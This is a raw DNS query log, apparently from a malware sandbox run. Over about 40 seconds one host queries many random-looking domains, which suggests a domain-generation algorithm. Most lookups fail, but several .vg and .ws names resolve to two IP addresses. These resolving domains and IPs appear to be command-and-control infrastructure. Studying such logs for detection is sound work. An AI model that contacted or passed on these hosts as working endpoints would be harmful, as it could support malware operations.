Sep 7, 2024 15:30:55.692540884 CEST	1.1.1.1	192.168.2.7	0x8c50	Name error (3)	uwuuxchcnepmcg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.811225891 CEST	1.1.1.1	192.168.2.7	0x7b4e	Name error (3)	oowbe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.826092958 CEST	1.1.1.1	192.168.2.7	0xff8	Name error (3)	oowbe.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.967360020 CEST	1.1.1.1	192.168.2.7	0x204b	Name error (3)	xwkssquxl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:55.979708910 CEST	1.1.1.1	192.168.2.7	0x6b8	Name error (3)	xwkssquxl.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.348294973 CEST	1.1.1.1	192.168.2.7	0x131a	Name error (3)	weues.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.388345003 CEST	1.1.1.1	192.168.2.7	0x7279	Name error (3)	weues.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.514491081 CEST	1.1.1.1	192.168.2.7	0x9950	Name error (3)	kkicwls.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.528318882 CEST	1.1.1.1	192.168.2.7	0xf374	Name error (3)	kkicwls.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.799134970 CEST	1.1.1.1	192.168.2.7	0xd818	Name error (3)	wdtickkun.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:56.965039968 CEST	1.1.1.1	192.168.2.7	0x2b6b	Name error (3)	wdtickkun.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.093636990 CEST	1.1.1.1	192.168.2.7	0x205c	Name error (3)	yqqasm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.105243921 CEST	1.1.1.1	192.168.2.7	0xa4fe	Name error (3)	yqqasm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:57.304840088 CEST	1.1.1.1	192.168.2.7	0xcc6e	Name error (3)	noiucnllyqwgu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.251174927 CEST	1.1.1.1	192.168.2.7	0x1c5c	Name error (3)	noiucnllyqwgu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.399993896 CEST	1.1.1.1	192.168.2.7	0x9489	Name error (3)	cihjjqcky.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.413539886 CEST	1.1.1.1	192.168.2.7	0x40d2	Name error (3)	cihjjqcky.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.531356096 CEST	1.1.1.1	192.168.2.7	0xbdcc	Name error (3)	nzkdfwijycego.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.547463894 CEST	1.1.1.1	192.168.2.7	0xb9c8	Name error (3)	nzkdfwijycego.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:58.940390110 CEST	1.1.1.1	192.168.2.7	0x30e2	Name error (3)	lqqwakgihy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:59.200999975 CEST	1.1.1.1	192.168.2.7	0x66a4	Name error (3)	lqqwakgihy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:59.363632917 CEST	1.1.1.1	192.168.2.7	0x6192	No error (0)	whimkzg.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:00.759135008 CEST	1.1.1.1	192.168.2.7	0x255b	Name error (3)	oynkjxai.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.098414898 CEST	1.1.1.1	192.168.2.7	0x45c2	Name error (3)	oynkjxai.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.479386091 CEST	1.1.1.1	192.168.2.7	0x2d91	Name error (3)	cmeejgbxekmg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.522032976 CEST	1.1.1.1	192.168.2.7	0x4331	Name error (3)	cmeejgbxekmg.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.648216963 CEST	1.1.1.1	192.168.2.7	0xb929	Name error (3)	oqwmabvue.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:01.660686970 CEST	1.1.1.1	192.168.2.7	0x20ff	Name error (3)	oqwmabvue.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.013360023 CEST	1.1.1.1	192.168.2.7	0xc422	Name error (3)	sdciimqrbfxri.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.112747908 CEST	1.1.1.1	192.168.2.7	0xfd67	Name error (3)	sdciimqrbfxri.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.462491035 CEST	1.1.1.1	192.168.2.7	0x5327	Name error (3)	skpvsmbtkkwbg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.701462030 CEST	1.1.1.1	192.168.2.7	0xe423	Name error (3)	skpvsmbtkkwbg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:02.832437992 CEST	1.1.1.1	192.168.2.7	0xe3e	No error (0)	qkhoq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:04.016625881 CEST	1.1.1.1	192.168.2.7	0xbb67	No error (0)	kwyckmjmiagy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:05.238852978 CEST	1.1.1.1	192.168.2.7	0xd7c6	No error (0)	jnewcznyumckcw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.553786993 CEST	1.1.1.1	192.168.2.7	0x7790	Name error (3)	oqnipalnjir.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.600001097 CEST	1.1.1.1	192.168.2.7	0xfffa	Name error (3)	oqnipalnjir.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.745147943 CEST	1.1.1.1	192.168.2.7	0xb1f7	Name error (3)	xkszmatqscwo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.792629957 CEST	1.1.1.1	192.168.2.7	0xe9	Name error (3)	xkszmatqscwo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:06.921857119 CEST	1.1.1.1	192.168.2.7	0xc43d	No error (0)	giogv.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.544401884 CEST	1.1.1.1	192.168.2.7	0x9524	Name error (3)	geictwkpogc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.556555986 CEST	1.1.1.1	192.168.2.7	0xfcd0	Name error (3)	geictwkpogc.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:08.704444885 CEST	1.1.1.1	192.168.2.7	0x5c6f	Name error (3)	sqcigofggthzn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.031028986 CEST	1.1.1.1	192.168.2.7	0xfcb2	Name error (3)	sqcigofggthzn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.203609943 CEST	1.1.1.1	192.168.2.7	0x209d	Name error (3)	glkaobcgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.255072117 CEST	1.1.1.1	192.168.2.7	0xafc	Name error (3)	glkaobcgs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.462621927 CEST	1.1.1.1	192.168.2.7	0x87d1	Name error (3)	gqskmay.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:09.560578108 CEST	1.1.1.1	192.168.2.7	0xd3f0	Name error (3)	gqskmay.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.200198889 CEST	1.1.1.1	192.168.2.7	0x182a	Name error (3)	caepygsem.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.238383055 CEST	1.1.1.1	192.168.2.7	0xce8b	Name error (3)	caepygsem.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.360666037 CEST	1.1.1.1	192.168.2.7	0x7bcb	Name error (3)	zgmwgrhyiyo.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.373591900 CEST	1.1.1.1	192.168.2.7	0x5ef5	Name error (3)	zgmwgrhyiyo.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.501152039 CEST	1.1.1.1	192.168.2.7	0x9a50	Name error (3)	qkgissdypbqam.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.512851000 CEST	1.1.1.1	192.168.2.7	0xa408	Name error (3)	qkgissdypbqam.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:10.639559984 CEST	1.1.1.1	192.168.2.7	0x4009	No error (0)	koydecqcyni.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:11.793294907 CEST	1.1.1.1	192.168.2.7	0x51bd	Name error (3)	oyzqy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:11.868983984 CEST	1.1.1.1	192.168.2.7	0x40ec	Name error (3)	oyzqy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.523369074 CEST	1.1.1.1	192.168.2.7	0xead3	Name error (3)	kfbwsmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.634648085 CEST	1.1.1.1	192.168.2.7	0xd409	Name error (3)	kfbwsmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.769824982 CEST	1.1.1.1	192.168.2.7	0xe896	Name error (3)	ywcimxqmgbs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.807190895 CEST	1.1.1.1	192.168.2.7	0xfb67	Name error (3)	ywcimxqmgbs.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.922509909 CEST	1.1.1.1	192.168.2.7	0xe799	Name error (3)	yfymtgsg.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:12.937710047 CEST	1.1.1.1	192.168.2.7	0xb90c	Name error (3)	yfymtgsg.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:13.066006899 CEST	1.1.1.1	192.168.2.7	0x2534	No error (0)	caxcxkg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:14.242857933 CEST	1.1.1.1	192.168.2.7	0x6356	No error (0)	uuyhocgpasnce.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:16.310484886 CEST	1.1.1.1	192.168.2.7	0x1f93	No error (0)	wjgzsqwufcmcgg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.452846050 CEST	1.1.1.1	192.168.2.7	0xc530	Name error (3)	koxymhbx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.469346046 CEST	1.1.1.1	192.168.2.7	0x75a8	Name error (3)	koxymhbx.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:17.596498966 CEST	1.1.1.1	192.168.2.7	0x263f	No error (0)	zcrgvsuzzgk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:18.909964085 CEST	1.1.1.1	192.168.2.7	0x2e9d	Name error (3)	cmwwhy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.018353939 CEST	1.1.1.1	192.168.2.7	0x8074	Name error (3)	cmwwhy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.165415049 CEST	1.1.1.1	192.168.2.7	0xce9b	Name error (3)	ugcqyayshvvsbq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.213213921 CEST	1.1.1.1	192.168.2.7	0xf50c	Name error (3)	ugcqyayshvvsbq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:19.338113070 CEST	1.1.1.1	192.168.2.7	0xc1fc	No error (0)	vfwasiy.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.530909061 CEST	1.1.1.1	192.168.2.7	0xacfc	Name error (3)	givxofbhqlh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.549817085 CEST	1.1.1.1	192.168.2.7	0xbddf	Name error (3)	givxofbhqlh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.675753117 CEST	1.1.1.1	192.168.2.7	0x4ad2	Name error (3)	gsbggrrmqe.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.700295925 CEST	1.1.1.1	192.168.2.7	0xc3c	Name error (3)	gsbggrrmqe.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.840142012 CEST	1.1.1.1	192.168.2.7	0x7eb2	Name error (3)	migcooaawxgwy.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.853553057 CEST	1.1.1.1	192.168.2.7	0xc65	Name error (3)	migcooaawxgwy.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.972692013 CEST	1.1.1.1	192.168.2.7	0x7d15	Name error (3)	mclgs.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:20.991934061 CEST	1.1.1.1	192.168.2.7	0xa31b	Name error (3)	mclgs.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:21.141067028 CEST	1.1.1.1	192.168.2.7	0xf1e2	No error (0)	kckmmgslcmm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.371857882 CEST	1.1.1.1	192.168.2.7	0x1cc7	Name error (3)	durobycugqqik.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.409122944 CEST	1.1.1.1	192.168.2.7	0xcdf8	Name error (3)	durobycugqqik.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.532576084 CEST	1.1.1.1	192.168.2.7	0x651f	Name error (3)	otrax.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.543745995 CEST	1.1.1.1	192.168.2.7	0x849b	Name error (3)	otrax.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:22.887800932 CEST	1.1.1.1	192.168.2.7	0x4242	Name error (3)	gqpsxrkckqvkg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.000305891 CEST	1.1.1.1	192.168.2.7	0xd184	Name error (3)	gqpsxrkckqvkg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.125253916 CEST	1.1.1.1	192.168.2.7	0x47c8	Name error (3)	cofsylekkomaw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.137882948 CEST	1.1.1.1	192.168.2.7	0x3372	Name error (3)	cofsylekkomaw.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.480477095 CEST	1.1.1.1	192.168.2.7	0xdf99	Name error (3)	ycypuwossams.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.723808050 CEST	1.1.1.1	192.168.2.7	0xca2e	Name error (3)	ycypuwossams.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.862760067 CEST	1.1.1.1	192.168.2.7	0x9176	Name error (3)	kqxbwsshuzoib.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:23.876815081 CEST	1.1.1.1	192.168.2.7	0xad8d	Name error (3)	kqxbwsshuzoib.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.033740044 CEST	1.1.1.1	192.168.2.7	0xf0e1	Name error (3)	scawpqmmeexi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.083039045 CEST	1.1.1.1	192.168.2.7	0xb719	Name error (3)	scawpqmmeexi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.215838909 CEST	1.1.1.1	192.168.2.7	0x7d29	Name error (3)	ofrmg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.227538109 CEST	1.1.1.1	192.168.2.7	0x7819	Name error (3)	ofrmg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.573142052 CEST	1.1.1.1	192.168.2.7	0x6811	Name error (3)	pzixa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.674021006 CEST	1.1.1.1	192.168.2.7	0xa3ed	Name error (3)	pzixa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:24.806731939 CEST	1.1.1.1	192.168.2.7	0xf0d9	No error (0)	iesocou.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:25.947115898 CEST	1.1.1.1	192.168.2.7	0xfd1	Name error (3)	iaemzdcivuleu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:25.959228039 CEST	1.1.1.1	192.168.2.7	0xe55	Name error (3)	iaemzdcivuleu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.171788931 CEST	1.1.1.1	192.168.2.7	0x5a77	Name error (3)	skmugaleavhm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.270456076 CEST	1.1.1.1	192.168.2.7	0x83c1	Name error (3)	skmugaleavhm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.682070971 CEST	1.1.1.1	192.168.2.7	0xec41	Name error (3)	tkzqgo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:26.950112104 CEST	1.1.1.1	192.168.2.7	0x9268	Name error (3)	tkzqgo.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.238720894 CEST	1.1.1.1	192.168.2.7	0xf81b	Name error (3)	oxgkqaukyc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.414459944 CEST	1.1.1.1	192.168.2.7	0x5de0	Name error (3)	oxgkqaukyc.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:27.761967897 CEST	1.1.1.1	192.168.2.7	0xa657	Name error (3)	cdykkoyesq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.013931036 CEST	1.1.1.1	192.168.2.7	0x6f7d	Name error (3)	cdykkoyesq.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.163521051 CEST	1.1.1.1	192.168.2.7	0x70de	Name error (3)	qgcvsohqyic.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.207634926 CEST	1.1.1.1	192.168.2.7	0x4907	Name error (3)	qgcvsohqyic.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.347709894 CEST	1.1.1.1	192.168.2.7	0xa558	Name error (3)	yvjdkgsysukuu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.386029005 CEST	1.1.1.1	192.168.2.7	0xb303	Name error (3)	yvjdkgsysukuu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.525396109 CEST	1.1.1.1	192.168.2.7	0x4204	Name error (3)	xsowjeify.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.565531969 CEST	1.1.1.1	192.168.2.7	0x180b	Name error (3)	xsowjeify.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.714586020 CEST	1.1.1.1	192.168.2.7	0xec60	Name error (3)	xifiugwhb.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.727446079 CEST	1.1.1.1	192.168.2.7	0x2041	Name error (3)	xifiugwhb.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:28.930905104 CEST	1.1.1.1	192.168.2.7	0x4348	Name error (3)	vyqekqyqkac.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.260987043 CEST	1.1.1.1	192.168.2.7	0x115c	Name error (3)	vyqekqyqkac.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.480046034 CEST	1.1.1.1	192.168.2.7	0x988a	Name error (3)	fgiqigmfk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.590089083 CEST	1.1.1.1	192.168.2.7	0x77eb	Name error (3)	fgiqigmfk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:29.789191008 CEST	1.1.1.1	192.168.2.7	0x1509	Name error (3)	murgywqcuyg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.048435926 CEST	1.1.1.1	192.168.2.7	0xa6ea	Name error (3)	murgywqcuyg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.175451040 CEST	1.1.1.1	192.168.2.7	0xaae7	Name error (3)	guogqzcz.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.187290907 CEST	1.1.1.1	192.168.2.7	0xc5f4	Name error (3)	guogqzcz.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.312283993 CEST	1.1.1.1	192.168.2.7	0x7b68	Name error (3)	ocskciykucf.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.326210022 CEST	1.1.1.1	192.168.2.7	0x74d5	Name error (3)	ocskciykucf.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.541028023 CEST	1.1.1.1	192.168.2.7	0x7d1f	Name error (3)	tukveawdb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.642714024 CEST	1.1.1.1	192.168.2.7	0xdeed	Name error (3)	tukveawdb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.791404009 CEST	1.1.1.1	192.168.2.7	0xfb92	Name error (3)	pmoeeqwgo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:30.817955017 CEST	1.1.1.1	192.168.2.7	0xfa83	Name error (3)	pmoeeqwgo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.025437117 CEST	1.1.1.1	192.168.2.7	0x815f	Name error (3)	kbiyk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.283760071 CEST	1.1.1.1	192.168.2.7	0x2c72	Name error (3)	kbiyk.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.407227993 CEST	1.1.1.1	192.168.2.7	0xbb11	Name error (3)	uyyyjjyhdka.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.421899080 CEST	1.1.1.1	192.168.2.7	0xfbc5	Name error (3)	uyyyjjyhdka.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.640021086 CEST	1.1.1.1	192.168.2.7	0x3f5f	Name error (3)	skwaamsgbggeag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:31.884067059 CEST	1.1.1.1	192.168.2.7	0x1519	Name error (3)	skwaamsgbggeag.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.259888887 CEST	1.1.1.1	192.168.2.7	0xddc7	Name error (3)	rxqlm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.433592081 CEST	1.1.1.1	192.168.2.7	0x49d	Name error (3)	rxqlm.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.587929010 CEST	1.1.1.1	192.168.2.7	0xd173	Name error (3)	gtoymmkam.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.638459921 CEST	1.1.1.1	192.168.2.7	0xd582	Name error (3)	gtoymmkam.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.805110931 CEST	1.1.1.1	192.168.2.7	0xe29e	Name error (3)	wjcagnn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.842585087 CEST	1.1.1.1	192.168.2.7	0xac36	Name error (3)	wjcagnn.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:32.989975929 CEST	1.1.1.1	192.168.2.7	0x8787	No error (0)	cecizrks.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.169847012 CEST	1.1.1.1	192.168.2.7	0x6dff	Name error (3)	osyoegacawucw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.202671051 CEST	1.1.1.1	192.168.2.7	0x864	Name error (3)	osyoegacawucw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.330667019 CEST	1.1.1.1	192.168.2.7	0xb9ed	No error (0)	kerkqpkcy.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.370270014 CEST	1.1.1.1	192.168.2.7	0x901b	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.383560896 CEST	1.1.1.1	192.168.2.7	0x475b	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.520477057 CEST	1.1.1.1	192.168.2.7	0x1fa3	No error (0)	spqdqewqyh.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:34.667743921 CEST	1.1.1.1	192.168.2.7	0xec95	No error (0)	xgdgatocmccubh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.096730947 CEST	1.1.1.1	192.168.2.7	0xa60f	Name error (3)	aahempsvagk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.145082951 CEST	1.1.1.1	192.168.2.7	0xb5cc	Name error (3)	aahempsvagk.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.547637939 CEST	1.1.1.1	192.168.2.7	0xcdca	Name error (3)	bfhqq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.598498106 CEST	1.1.1.1	192.168.2.7	0x69f4	Name error (3)	bfhqq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:35.746670961 CEST	1.1.1.1	192.168.2.7	0xd229	Name error (3)	ukhemle.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.022980928 CEST	1.1.1.1	192.168.2.7	0x3add	Name error (3)	ukhemle.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.167620897 CEST	1.1.1.1	192.168.2.7	0x3d24	No error (0)	occwssawx.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.322364092 CEST	1.1.1.1	192.168.2.7	0x19d1	Name error (3)	uicwimu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.355597973 CEST	1.1.1.1	192.168.2.7	0x37fb	Name error (3)	uicwimu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.578999043 CEST	1.1.1.1	192.168.2.7	0x32d2	Name error (3)	qswqomu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.590998888 CEST	1.1.1.1	192.168.2.7	0xcf93	Name error (3)	qswqomu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.753663063 CEST	1.1.1.1	192.168.2.7	0x1fd8	Name error (3)	csavglqmayu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.803435087 CEST	1.1.1.1	192.168.2.7	0x86e0	Name error (3)	csavglqmayu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.926451921 CEST	1.1.1.1	192.168.2.7	0xc15	Name error (3)	wwryileukoz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:36.966975927 CEST	1.1.1.1	192.168.2.7	0x47d8	Name error (3)	wwryileukoz.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.101941109 CEST	1.1.1.1	192.168.2.7	0x2697	No error (0)	hamnckkdxmqky.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.236017942 CEST	1.1.1.1	192.168.2.7	0x48c3	Name error (3)	gyysmc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.249177933 CEST	1.1.1.1	192.168.2.7	0x905b	Name error (3)	gyysmc.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:37.379825115 CEST	1.1.1.1	192.168.2.7	0x6cac	No error (0)	yswumstcrrw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
